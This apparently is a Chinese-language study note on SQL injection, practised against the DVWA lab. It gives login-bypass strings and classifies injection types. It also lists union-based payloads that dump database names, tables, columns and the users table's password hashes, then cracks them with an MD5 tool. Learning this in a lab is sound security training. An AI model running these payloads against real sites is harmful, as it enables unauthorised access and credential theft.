弱口令

SQL注入

萬能密碼

admin'-- '

admin'#

萬能用戶名

xxx' or 1=1 limit 1 -- -

脫庫

一庫:information_schema

三表:

  1. schemata 表:存放所有數據庫信息

  2. tables 表:存放所有表信息

  3. columns 表:存放所有字段信息

六字段:

  1. schemata表的 schema_name 字段:存放具體的數據庫名

  2. tables表的 table_name 字段:存放具體的表名

  3. tables表的 table_schema 字段:存放表所在的數據庫

  4. columns表的 column_name 字段:存放具體的字段名

  5. columns表的 table_name 字段:存放字段所在的表名

  6. columns表的 table_schema 字段:存放字段所在的數據庫名

SQL注入的類型

根據請求方式的不同可以分為

  1. GET請求方式注入

  2. POST請求方式注入

根據參數的數據類型可以分為

  1. 數值型注入

  2. 字符型注入

  3. 搜索型注入

根據注入后的回顯情況

  1. 報錯型注入

  2. 聯合查詢注入

  3. 布爾型注入

  4. 基于時間的注入

顯示位數的判斷

通過order by子句可以判斷查詢結果的顯示位

聯合查詢

union select

聯合查詢的關聯表顯示數一樣的情況下

只有可以使用union的情況下的注入

聯合查詢注入的探測

首先判斷是否存在注入點以及注入點類型

第一種判斷輸入:1‘報錯肯定存在注入漏洞

第二種判斷輸入1 and 1=1和1 and 1=2如果回顯相同則存在字符型注入,如果數值回顯不同則說明存在數值型注入。

聯合查詢漏洞利用

脫取數據庫名

判斷有幾個顯示位

使用ouder by子句查看

1' union select 1,database() -- 

image-20230727102252971

獲取到數據庫名

脫取數據庫表名

payload:

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') --

image-20230727103450722

脫取數據庫字段名

-1' union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_schema='dvwa' AND table_name='users') -- -

image-20230727110029623

脫取數據庫的字段值payload

1' union select 1,(select group_concat(concat_ws("~",user,password)) from dvwa.users) -- -

image-20230727110155016

使用MD5解密工具進行解碼操作

image-20230727110845609